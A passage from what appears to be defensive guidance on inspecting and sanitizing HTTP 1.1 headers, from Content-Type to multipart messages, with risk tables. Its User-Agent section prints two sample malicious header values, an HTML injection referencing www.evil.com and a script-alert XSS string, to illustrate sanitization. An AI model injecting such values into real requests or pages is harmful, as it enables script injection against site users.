If `Content-Type` header has the value `multipart/form-data` then the content section contains multiple parts, typically from a form, each of which has its own size and content type. An ISSP must be able to evaluate each part individually.

`Content-Type` can have optional parameters appended after the media type. The most common is the character set (aka character encoding). The risk of this parameter is not in the header itself, but in the content; if an ISSP does not support the character set, then it may not be able to inspect and sanitize the content.

CONCERNS

Data Hiding – If the content type and character set are not supported by the ISSP, the content is a data hiding risk.

Data Disclosure – If the content type and character set are not supported by the ISSP, the content is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`Content-Type` is an entity header that can be in a request or a response.

EXAMPLE

This is the content type for HTML:

```
Content-Type: text/html
```

[72] The set of allowed types and subtypes is defined here: http://www.iana.org/assignments/media-types/index.html.

This is the content type for PDF:

```
Content-Type: application/pdf
```

One of the optional parameters is the character set:

```
Content-Type: text/html; charset=ISO-8859-4
```

RECOMMENDATIONS

01. Validate – Validate that the content type specified in the header matches the actual type of the content.
02. Validate – Validate that the character encoding specified in the header matches the actual character encoding of the content.
03. Validate – Validate the list of parameters against a whitelist of known parameter types and values.
04. Replace – If the content type is unsupported, reply with a `415` status code (Unsupported Media Type) instead of forwarding the message on.
05. Replace –If the content type or character set is not supported, transcode the content to another similar content type/character set that is supported.
06. Remove – Remove any unknown parameters.
07. External Filtering Required – Extract the content and send to an external filter that supports the content type and character set.
08. Reject – Reject the message if the content type or the character set is unsupported.

5.29. ETag

OVERVIEW

The `ETag` header—`ETag` stands for entity tag—allows the server to specify a unique value for a specific version of a resource at a specific URL. If the client attempts to access this resource in the future, it can return this value,[73] and the server will use it to help identify the resource. It is typically used as part of a cache validation mechanism to ensure content is current.

ETags can be strong or weak. When using a strong entity tag, the server asserts that the `ETag` value is unique for every version of the resource, no matter how insignificant the differences are. When using a weak entity tag, the server asserts

[73] See the If-Match and If-None-Match request headers.

that the resource is semantically equivalent but not necessarily byte-for-byte equivalent (i.e., minor differences, such as formatting or white space, may exist in the resource).

Some websites, including Spotify and Hulu, have used ETags for tracking purposes, similar to how cookies are used; however, unlike cookies, there are no mechanisms for users to remove ETags from their web browsers. Additionally, some web servers have historically used sensitive information about the file as part of their `ETag` value.

CONCERNS

Data Hiding – As data can be implanted within an `ETag` and retrieved later, it is a hidden data risk.

Data Attack – As user data can be implanted within an `ETag` and used for tracking, it is a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`ETag` is a header in a response.

EXAMPLE

Here’s an example of a strong `ETag` header:

```
ETag: “fe8ee-87e73i3”
```

Here’s an example of a weak `ETag` header (notice the `W/` prefix):

```
ETag: W/“fe8ee-87e73i3”
```

RECOMMENDATIONS

01. Remove – Remove the header. This may reduce efficiency by preventing content from being cached or partially retrievable.

5.30. From

OVERVIEW

The `From` header submits the email address of the sender to the server. This address is not suitable as a means of authentication or access control. To address privacy concerns, most web browsers strip out this header.[74]

CONCERNS

Data Disclosure – If the `From` header contains an email address on a sensitive network, it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`From` is a header in a request.

EXAMPLE

Here is an example of the `From` header:

```
From: john.doe@super_secret_network.gov
```

RECOMMENDATIONS

01. Replace – Replace the email with a fake address or a corresponding address from a non-sensitive network.
02. Remove – Remove the `From` header.

5.31. Location

OVERVIEW

The `Location` header is an absolute URL that the server is providing for the client, which is expected to go to the URL and retrieve the requested resource. This

[74] https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html#sec15.1.2.

header is often used with the redirection status codes (e.g., `300`, `301`, `302`, `303`, etc.) or the `201` status code, all of which redirect the client to another location.

The HTTP 1.1 specification requires the URL to be absolute, though many web browsers support relative URLs as well.

There should not be more than one `Location` header, and some exploits have added a second header, which have caused clients to behave in an unexpected fashion.[75]

CONCERNS

Data Attack – If multiple `Location` headers exist, it can be a data attack risk.

(Other risks for `Location` can be found in the section titled "Any Header With A URI.")

PRODUCT

- HTTP 1.1

LOCATION

`Location` is a header in a response.

EXAMPLE

Here is an example of a `Location` header:

```
Location: http://www.example.com/newLocation/resource.html
```

RECOMMENDATIONS

01. Remove – If multiple `Location` headers exist, remove all but one.
02. Reject – Reject a message with multiple `Location` headers.

5.32. Range

OVERVIEW

The `Range` header allows the client to request one or more parts of a resource instead of all of it. It is a comma-delimited set of range values. There are two

[75] See the section titled "HTTP Smuggling."

potential problems with the `Range` header. First, by definition the server will only return part of a resource; an ISSP cannot do a thorough inspection and sanitization when it only has part of a resource.[76] Second, the `Range` header can create denial of service (DoS) attacks by sending malicious values, including large numbers of values, overlapping values, and invalid values. This can be mitigated by constraining the ranges.

CONCERNS

Data Hiding – Because it returns only a portion of a resource, it is a data hiding risk.

Data Attack – If `Range` includes malicious values, it is data attack risk. Because it returns only a portion of a resource, it is a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`Range` is a header in a request.

EXAMPLE

Here are examples of the `Range` header; they have a start and end value, both in bytes:

```
Range: bytes=0-500

Range: bytes=100-200, 500-1000, 2100-3000
```

There are a couple of exceptions to this format that are known as open-ended ranges. The first 1000 bytes can be requested without an end value:

```
Range: bytes=1000-
```

Similarly, the last 1000 bytes can be requested without a start value:

```
Range: bytes=-1000
```

RECOMMENDATIONS

01. Replace – Rearrange the ranges such that they are in ascending order.
02. Replace – If two or more sets of ranges are overlapping, replace the ranges with one combined range.

[76] See section 5.14 Partial Content.

03. Replace – If two sets of ranges are close, replace the ranges with one combined range.
04. Remove – Limit the max number of ranges; remove additional ranges. This will return less content than the client expects.
05. Remove – Limit the total size of the bytes; remove ranges that exceed the limit.
06. Remove – Remove any range whose ending value is greater than the starting value.
07. Remove – Remove any range whose starting value is not greater than or equal to 0.
08. Remove – Remove any range whose ending value is not greater than 0.
09. Remove – Remove the `Range` header, and the server will simply return the entire resource, which will allow it to be inspected and sanitized. The problem with this solution is that it prevents clients from legitimately requesting part of a resource, perhaps after a partially failed transfer, and may increase download times and server/network resources. This issue might be resolved by placing a cache on either or both sides of the ISSP.
10. Reject – If a request contain a malicious set of values (e.g., ranges in descending order, overlapping ranges, an excessive number of ranges, etc.), reject the request.

5.33. Server

OVERVIEW

The `Server` header indicates the software used by the server. This header can reveal specific information about the server, which might allow a malicious client to craft an operating system-specific or web server-specific attack.[77]

CONCERNS

Data Attack – If the value reveals a specific operating system or web server, then `Server` is a data attack risk.

PRODUCT

- HTTP 1.1

[77] https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html#sec15.1.2.

LOCATION

`Server` is a header in a response.

EXAMPLE

Microsoft.com returns:

```
Server: Microsoft-IIS/7.5
```

Slashdot.org returns:

```
Server: Apache/1.3.42 (Unix) mod_perl/1.31
```

RECOMMENDATIONS

01. Validate – Validate that the `Server` value is on a whitelist of approved values.
02. Replace – Replace the value with a fake or benign or limited value.
03. Remove – Remove the `Server` header; it is not required.

5.34. Set-Cookie and Cookie

OVERVIEW

The `Set-Cookie` header allows the server to send information to the client that it expects the client to return in future requests; this information is known as a cookie. The `Cookie` header allows the client to return the information back to the server. The information in a cookie is typically state information that corresponds to the requested content; that is, it is information that can help identify the user and his activity on the server.

A cookie is a comma-delimited list of name/value pairs; as such it can contain any data. Although cookies are not considered a secure mechanism, they are sometimes used to send, store, and retrieve sensitive information. Many libraries include a means to encode and/or encrypt cookies in an attempt to protect them; this makes it difficult to inspect the contents, whether visually or programmatically.

CONCERNS

Data Hiding – If the cookie is encoded and/or encrypted, it is a data hiding risk.

Data Attack – If the cookie contains sensitive information, such as session IDs or username/passwords, it is a data attack risk. Since cookies can be stolen, used to hijack a user's session, and impersonate a user on a server, they are a data attack risk.

Data Disclosure – If a cookie reveals information about where a client has been, it is a data disclosure risk. If a cookie contains a sensitive URL, it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`Set-Cookie` is a header in a response. `Cookie` is a header in a request.

EXAMPLE

Here is an example of `Set-Cookie`:

```
Set-Cookie: sid=12345asdfg;domain=example.com;path=finance;expires=
  Fri,30 Dec 2011 9:16:44 GMT;
```

Although there are commonly used name/value pairs (e.g., domain, path, expires, secure), any name or value can be included, which could be used transmit sensitive data from a server to a client, like so:

```
Set-Cookie: sensitive=thisIsSensitiveData;
```

The domain name/value pair specifies the URL of the server where the cookie can be used. If present, the domain specified in the cookie should always match the domain of the server sending the cookie; this helps to prevent a cross-site cooking attack. "If Domain is omitted or blank, the browser will only send the cookie to the exact hostname from which the cookie was set. Omitting Domain is often the most secure choice for this reason."[78]

Sensitive information can be somewhat protected by adding the `HttpOnly` attribute, which, if implemented corrected by the browser, prevents non-HTTP methods, such as Javascript, from accessing the cookie.

```
Set-Cookie: sid=12345asdfg; HttpOnly
```

Here is an example of `Cookie` in plain text:

```
Cookie: firstname=John, lastname=Doe
```

[78]http://www.isecpartners.com/files/web-session-management.pdf.

Here is an example of a cookie from Amazon (though it uses a different header name); the contents are unknown, and the means to decode/decrypt it are also unknown:

```
x-amz-id-2: /X4IkVhp6kRRX789rksKI6hveCCW3/qr1FRptcd2weEtiz9DiV//tX
```

RECOMMENDATIONS

01. Validate – Validate cookies against a whitelist of allowed name/value pairs.
02. Validate – Validate against a whitelist of allowed names and some other type of validation of the values, such as a regular expression (aka regex).
03. Validate – Validate that there is a limited number of cookies and a limited size for each cookie.
04. Replace – Add the `HttpOnly` attribute to the `Set-Cookie` header; if implemented correctly by the client it prevents non-HTTP methods, such as Javascript, from accessing the cookie.
05. Replace – If feasible, add the `Secure` attribute to the `Set-Cookie` header; this requires that cookies be transmitted by a secure connection (i.e., HTTPS), which will protect sensitive information while in transport.
06. Replace – If the cookie has a known, allowed name, but an unknown or non-allowed value, replace the value with a default, allowed value.
07. Replace – Replace any sensitive URL with a non-sensitive pseudonym.
08. Remove – Remove all `Set-Cookie` and `Cookie` headers.
09. Remove – If data is sensitive, set `Discard` and/or remove `Expires` and `Max-Age`. This makes the cookie a session cookie instead of a persistent cookie.[79]
10. Remove – Remove any sensitive URLs.
11. Remove – Remove the domain name/value pair from the `Set-Cookie` header; this ensures that cookies are only used with the domain from which they originated.[80]
12. External Filtering Required – Send encoded/encrypted cookies to an external filter that can decode and/or decrypt it. Then inspect the cookie contents.
13. External Filtering Required – Send plain text cookies to an external filter that can search for sensitive information.
14. Reject – Reject all messages that contain cookies.
15. Reject – Reject all messages that contain cookies that are encoded or encrypted.

[79] Session cookies are deleted when the web browser closes.
[80] Fair warning: Michal Zalewski in his book *The Tangled Web* asserts that removing domain does not work as expected in IE (p 61).

5.35. User-Agent

OVERVIEW

The `User-Agent` header allows the client to identify itself and allows the server to respond with corresponding content. For example, the content for a smartphone with a small screen might be different than the content for a Windows-based computer with a large monitor.

The `User-Agent` header has been used in exploits, particularly when a server uses the contents but does not sanitize the value, which allows a malicious client to insert HTML and script code. This header also reveals specific information about the requesting client, which might allow a malicious server to craft a client-specific or operating system-specific attack.

CONCERNS

Data Attack – If the value is not sanitized and if it reveals a specific client and/or operating system, then `User-Agent` is a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`User-Agent` is a header in a request.

EXAMPLE

Chrome 15 on Windows 7 uses this header:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2
(KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
```

IE9 on Windows 7 uses this header:

```
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
WOW64; Trident/5.0)
```

Firefox 8 on Windows 7 uses this header:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0)
Gecko/20100101 Firefox/8.0
```

Examples of malicious `User-Agent` headers:[81]

```
User-Agent: ><img src=”http://www.evil.com/vulnerable.jpg><!--
```

```
User-Agent: /><script>alert('Javascript is executing!')</script><!–
```

RECOMMENDATIONS

01. Validate – Validate that the `User-Agent` value is on a whitelist of approved values.
02. Replace – Replace the value with a fake or benign or limited value.
03. Remove – Remove the `User-Agent` header; it is not required.

5.36. Via

OVERVIEW

The `Via` header is used to indicate the names of intermediaries between the client and server. Each proxy and gateway appends its protocol and name to the end of the header, creating a comma delimited list. An ISSP functions as a proxy and thus should add itself, unless its very existence is sensitive; it can also obfuscate the names of any intermediaries that are on a sensitive network by renaming them, combining them, and/or removing them.[82]

CONCERNS

Data Disclosure – If the names of proxies or gateways are sensitive, then it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`Via` is a header that can be in a request or a response.

EXAMPLE

Here is an example of the `Via` header:

```
Via: 1.1 www.somewhere.com, 1.1 www.anywhere.com
```

[81] http://www.technicalinfo.net/blog/security/20080121_UserAgentAttacks.html.
[82] https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html#sec15.1.2.

RECOMMENDATIONS

01. Validate – Validate that the names are on a whitelist.
02. Replace – Replace sensitive names with pseudonyms.
03. Replace – Combine multiple names within a sensitive network/domain with a single pseudonym.
04. Remove – Remove sensitive names.

5.37. Warning

OVERVIEW

The `Warning` header is used to provide additional information about the status of a message, typically about how it has been cached or transformed; this is often used when there is something unsatisfactory despite a successful status code in the response. A warning includes a code, the name of the client or server giving the warning, and a text message. The specification gives 7 predefined warnings—most are related to caching issues—but any warning can be created and used. Multiple `Warning` headers can exist in the same message.

CONCERNS

Data Hiding – If the code is unknown, then it is a data hiding risk. If the description contains extraneous information unrelated to the code, then it is a data hiding risk.

Data Disclosure – If the warning provides details about what an ISSP does, then it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`Warning` is a general header that can be part of a request or response.

EXAMPLE

Here is an example of a warning:

```
Warning: 110 www.someproxy.com Response is stale
```

The warning can contain any information:

```
Warning: 666 www.anyserver.com This is sensitive data
```

Any proxy, including an ISSP, that sanitizes the content is supposed to add this warning, but doing so may be a disclosure risk for the ISSP:

```
Warning: 214 www.theissp.com Transformation applied
```

RECOMMENDATIONS

01. Validate – Validate the code is on a whitelist.
02. Validate – Validate that the description is on a whitelist and corresponds to the code.
03. Replace – Replace description with a predefined description based upon the code.
04. External Filtering Required – Extract the description and send to an external filter.
05. Reject – If the code is unknown, reject the message.
06. Reject – If the description is unrelated to the code or contains sensitive information, reject the message.

5.38. Content-Disposition

OVERVIEW

The `Content-Disposition` header is not part of the HTTP 1.1 specification, but it is widely (though inconsistently) supported by web browsers and documented by RFC 6266.[83] It provides a means for the server to suggest a filename if the user requests that the contents be saved to a file.[84]

The filename may include a path, relative or absolute, which may cause the client to save the file to a restricted location. The filename may have an extension that is not indicative the file contents, causing malicious contents to unknowingly be saved. The filename contain characters that have special meaning in the file

[83] https://tools.ietf.org/html/rfc6266.
[84] https://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.5.1.

system or in shell commands; it may also contain escape characters, such as the backslash.[85]

CONCERNS

Data Attack – If this header is used to save malicious, executable content or to save a file to a restricted location, it is a data attack risk.

PRODUCT

- RFC 6266

LOCATION

`Content-Disposition` can be part of a response.

EXAMPLE

Here is an example of saving a PDF file:

```
Content-Disposition: attachment; filename="myfile.pdf"
```

RECOMMENDATIONS

01. Validate – Verify that the file extension matches both the `Content-Type` header and the actual contents of the file.
02. Validate – Verify that the file extension is on an approved whitelist (e.g., allow .txt but not .exe).
03. Replace – Replace any special characters from the filename and extension with a corresponding benign character (replace a tilde with a hyphen).
04. Remove – If the filename and/or extension exceeds some maximum length, truncate them.
05. Remove – Remove all path information from the filename.
06. Remove – Remove any special characters from the filename and extension.
07. Remove – Remove all characters that are not US-ASCII from the filename and extension. This may make some international filenames unrecognizable.

[85] https://tools/ietf.org/html/rfc6266#page-5; http://greenbytes.de/tech/webdav/draft-reschke-rfc2183-in-http-latest.html - disposition.parameter.filename.

5.39. Multipart Messages

OVERVIEW

A multipart message is a message that contains multiple parts; this is specified by the `multipart` type in the `Content-Type` header. The contents of a multipart message have a boundary to separate each part and use MIME headers to identify each part. Although there are many multipart subtypes, and all are theoretically possible in HTTP, only 3 subtypes are used in practice:

- Multipart/form-data – If the data from a form that is POSTed to a server contains binary data or non-ASCII text data, then the message uses `multipart/form-data` instead of a query string.[86] This data can include data from the form controls as well as files that are uploaded.
- Multipart/byteranges – If the server returns noncontiguous parts of a single file, then the message uses `multipart/byteranges`. (The issues with `mutlipart/byteranges` are covered in section 5.14 Partial Content.)
- Multipart/mixed—If the message contains multiple files, each of which can be a different MIME type/subtype, then it uses `multipart/mixed`. This option is not widely supported by web browsers.

When files are included in a multipart message, their type can be specified using the `Content-Type` MIME header. Form data, however, has no formal mechanism for identification; each item is associated with a form control, and an ISSP must correlate each form control to a data type.

CONCERNS

Multipart messages contain a variety of data types and file types, which brings with it all the risks associated with them. Discussing all the risks of all possible content types is beyond the scope of this document; if possible, refer to other guidance documents that correspond to the content type.

PRODUCT

- HTTP 1.1

LOCATION

`Content-Type` is an entity header that can be in a request or a response.

EXAMPLE

Here is an example of a `multipart/form-data` message:

```
POST /upload.php HTTP/1.1
```

```
Host: www.example.com
Accept-Language: en
Content-type: multipart/form-data; boundary=---some separator---
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
WOW64; Trident/5.0)
Content-Length: 32288
Connection: Keep-Alive

---some separator---
Content-Disposition: form-data; name="firstname"

John
---some separator---
Content-Disposition: form-data; name="email"

johndoe@gmail.com
---some separator---
Content-Disposition: form-data; name="companyPhoto";
  filename="C:\Users\jdoe\companyPhoto.jpg"
Content-Type: image/jpeg
<...contents of the image here...>
```

RECOMMENDATIONS

01. Validate – Verify that the content type specified in the header matches the actual type of the content for each uploaded file.
02. Validate – For each name/value pair, verify that the name (e.g., "firstname" and "email" in the example above) is on an approved whitelist and that value is valid (e.g., "John" and "johndoe@gmail.com" in the example above).
03. Remove – Remove any file that is invalid or that cannot be inspected and sanitized.
04. Remove – Remove any form data that is invalid or that cannot be inspected and sanitized.
05. External Filtering Required – Send each file to an external filter.
06. Reject – Reject any multipart message with invalid files or form data.

6. ACRONYMS

Table 5 – Acronyms

[86] When the data is submitted as a query string, the Content-Type is `application/x-www-form-encoded`. For more information on query strings, see section 5.9 GET and HEAD and section 5.10 POST and PUT. For more information on validating query string, see Appendix A.

Acronym	Denotation
BNF	Bauckus-Naur Form
CARP	Cache Array Resolution Protocol
CDP	Cache Digest Protocol
CR	Carriage Return
CRLF	Carriage Return Line Feed
CSS	Cascading Stylesheets
DTG	Data Transfer Guidance
DoS	Denial of Service
ETag	Entity Tag
FOUO	For Official Use Only
GZIP	(GNU’s Not Unix) GNU Zip
HTTP	Hypertext Transport Protocol
HTTPS	Hypertext Transport Protocol Secure
HTML	Hypertext Markup Language
ICG	Internet Cache Protocol
IE	Internet Explorer
IIS	Internet Information Services
iOS	iPhone Operating System
ISG	Inspection and Sanitization Guidance
ISO	International Standards Organization
ISS	Inspection and Sanitization Software
ISSP	Inspection and Sanitization Software Proxy
JPG (JPEG)	Joint Photographic Experts Group
LF	Line Feed
PDF	Portable Document Format
OSI	Open Systems Interconnection
P3P	Platform for Privacy Preferences
PNG	Portable Networks Graphics
QOP	Quality Of Protection
RFC	Request For Comments
SQL	Structured Query Language
SSL/TLS	Secure Sockets Layers/Transport Layer Security
TCP/IP	Transmission Control Protocol/Internet Protocol
TE	Transfer Encoding

Acronym	Denotation
U	Unclassified
URI	Uniform Resource Indicator
URL	Uniform Resource Location
US-ASCII	United States-American Standard Code for Information Interchange
WCCP	Web Cache Coordination Protocol
WebDAV	Web-based Distributed Authoring and Versioning
WWW	World Wide Web
XML	eXtensible Markup Language
XSS	Cross-Site Scripting
XST	Cross-Site Tracing

7. SUMMARY OF RISKS

Table 6 – Summary of Risks

ISG Section	HTTP Specification	Hiding	Attack	Disclosure
5.1 Invalid or Unnecessary Headers	4.2, 14	x	x	
5.2 Dependencies	14		x	
5.3 Corresponding Responses	9, 10, 14	x		
5.4 Contents	4.3	[1]	[1]	[1]
5.5 Any Header With a URI	3.2	x	x	x
5.6 Any URL With a Query String		x		
5.7 The Resource Location in the Request Line	3.2, 5.1	x	x	
5.8 The Status Code and Description in the Status Line	6.1, 10	x		
5.9 GET and HEAD	9.3, 9.4	x	x	x
5.10 POST and PUT	9.5, 9.6	x	x	x
5.11 DELETE	9.7		x	
5.12 TRACE	9.8		x	x
5.13 CONNECT	9.9	x	x	x
5.14 Partial Content	10.2.7, 14.16, 14.17, 19.2	x	x	
5.15 407 and Proxy-Authenticate	10.4.8, 14.33			
5.16 Accept	14.1			
5.17 Accept-Charset	14.2			
5.18 Accept-Encoding and TE	14.3, 14.39			
5.19 Accept-Language	5.18			
5.20 Accept-Ranges	14.5			
5.21 Authorization and Proxy-Authorization	11, 14.8, 14.34	x	x	
5.22 Cache-Control	14.9			
5.23 Connection and Upgrade	14.10, 14.42			
5.24 Content-Encoding and Transfer-Encoding	14.11, 14.41	x	x	x
5.25 Content-Language	14.12	x		x
5.26 Content-Length	14.13		x	

ISG Section	HTTP Specification	Hiding	Attack	Disclosure
5.27 Content-MD5	14.15		x	
5.28 Content-Type	14.17	x		x
5.29 ETag	14.19	x	x	
5.30 From	14.22			x
5.31 Location	14.30		x	
5.32 Range	14.35	x	x	
5.33 Server	14.38		x	
5.34 Set-Cookie and Cookie	[2]	x	x	x
5.35 User-Agent	14.43		x	
5.36 Via	14.45			x
5.37 Warning	14.46	x		x
5.38 Content-Disposition	[3]		x	
5.38 Multipart Messages	3.7.2, 19.2	[1]	[1]	[1]

[1] Exact risks depend upon the content.

[2] Cookie and Set-Cookie are defined in RFC 2109 and RFC 6265.

[3] Content-Disposition is defined in RFC 6266.

8. APPENDIX A – VALIDATE A QUERY STRING

Query strings are discussed in section 5.6. They can be validated by ensuring that the following are true:

1. All required parameters are present.
2. All parameters in the query string are in a whitelist.
3. Each parameter that should have a value does.
4. The value of each parameter is of the correct type (e.g., text, integer, boolean).
5. The value of each text is constrained. For example, it may be in a whitelist, match a regex, or not exceed a max length.
6. The value of each integer is constrained. For example, it may be in between a range of values or have a limited number of digits.

9. ENDNOTES

[1] Nginx is a registered trademark of Nginx Software, Inc.